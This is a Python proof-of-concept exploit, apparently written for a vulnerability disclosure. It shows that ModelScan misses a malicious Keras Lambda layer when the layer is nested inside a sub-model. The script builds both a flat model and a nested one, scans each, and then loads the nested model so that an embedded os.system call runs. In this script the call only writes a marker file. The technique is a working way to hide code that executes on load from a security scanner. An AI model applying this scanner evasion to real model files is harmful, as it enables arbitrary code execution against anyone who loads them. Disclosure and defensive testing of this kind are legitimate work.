#!/usr/bin/env python
"""
ModelScan Bypass: Arbitrary Code Execution in a .keras model file
==================================================================
ModelScan's KerasLambdaDetectScan flags malicious Lambda layers, but it only
inspects the FLAT, top-level `config.layers` list and matches class_name=="Lambda"
exactly (modelscan/scanners/keras/scan.py:119-130). It never recurses into a
nested sub-model. A Lambda hidden one level deep inside a sub-model is therefore
invisible to the scanner, yet Keras still deserializes and executes it on load.

Requires:  pip install 'modelscan[tensorflow]' tensorflow keras
Run:       python exploit.py
"""
import os, sys, json, zipfile
import keras
from keras.layers import Input, Lambda

# Benign proof: writes a marker file on load. The command literal is INLINE so the
# marshalled lambda is self-contained (no external globals lost on deserialization).
MARKER = "keras_poc_executed.txt"
PAYLOAD = (lambda x: x + __import__("os").system(
    "echo MODELSCAN-KERAS-NESTED-BYPASS > keras_poc_executed.txt") * 0)

def build_flat(path):
    """A normal (flat) malicious Lambda — ModelScan DETECTS this."""
    inp = Input(shape=(2,))
    out = Lambda(PAYLOAD)(inp)
    keras.Model(inp, out, name="flat").save(path)

def build_nested(path):
    """The SAME Lambda hidden one level deep — ModelScan MISSES this."""
    i_in = Input(shape=(2,))
    i_out = Lambda(PAYLOAD)(i_in)
    inner = keras.Model(i_in, i_out, name="inner_submodel")
    o_in = Input(shape=(2,))
    keras.Model(o_in, inner(o_in), name="outer").save(path)

def top_level_classes(path):
    with zipfile.ZipFile(path) as z:
        cfg = json.loads(z.read("config.json"))
    return [l.get("class_name") for l in cfg.get("config", {}).get("layers", [])]

def scan(path):
    from modelscan.modelscan import ModelScan
    ms = ModelScan(); ms.scan(path)
    return len(ms.issues.all_issues)

def main():
    print("=" * 70)
    print("  ModelScan Bypass - ACE in .keras via NESTED Lambda layer")
    print("  CWE-693 + CWE-502   |   Keras 3.x / modelscan 0.8.8")
    print("=" * 70)

    # [Baseline] Flat malicious Lambda — proves the scanner DOES work
    build_flat("flat_model.keras")
    flat_issues = scan("flat_model.keras")
    print("\n[Baseline] Flat Lambda model:")
    print("   top-level layers:", top_level_classes("flat_model.keras"))
    print("   ModelScan:", flat_issues, "issue(s) ->",
          "DETECTED (scanner works)" if flat_issues else "missed")

    # [1] The bypass: identical Lambda nested inside a sub-model
    build_nested("model.keras")
    print("\n[1] Built malicious model: model.keras (Lambda nested in sub-model)")
    print("   top-level layers:", top_level_classes("model.keras"))

    # [2] Defender scans it -> 0 issues
    nested_issues = scan("model.keras")
    print("\n[2] Defender scans it with ModelScan:")
    print("   verdict:", "No issues found (BYPASS)" if nested_issues == 0
          else f"DETECTED ({nested_issues})")

    # [3] Victim loads the 'clean' model -> code runs
    if os.path.exists(MARKER):
        os.unlink(MARKER)
    print("\n[3] Victim loads the model: keras.saving.load_model(..., safe_mode=False)")
    keras.saving.load_model("model.keras", safe_mode=False, compile=False)

    # [4] Verify
    confirmed = os.path.exists(MARKER)
    print("\n[4] Result:", "CODE EXECUTED ON LOAD" if confirmed else "no execution")
    if confirmed:
        print("    proof file:", MARKER, "->", open(MARKER).read().strip())

    ok = (flat_issues > 0) and (nested_issues == 0) and confirmed
    print("\n" + "=" * 70)
    print("  STATUS:", "CONFIRMED (flat caught, nested clean + ACE on load)" if ok
          else "UNCONFIRMED")
    print("=" * 70)
    return ok

if __name__ == "__main__":
    sys.exit(0 if main() else 1)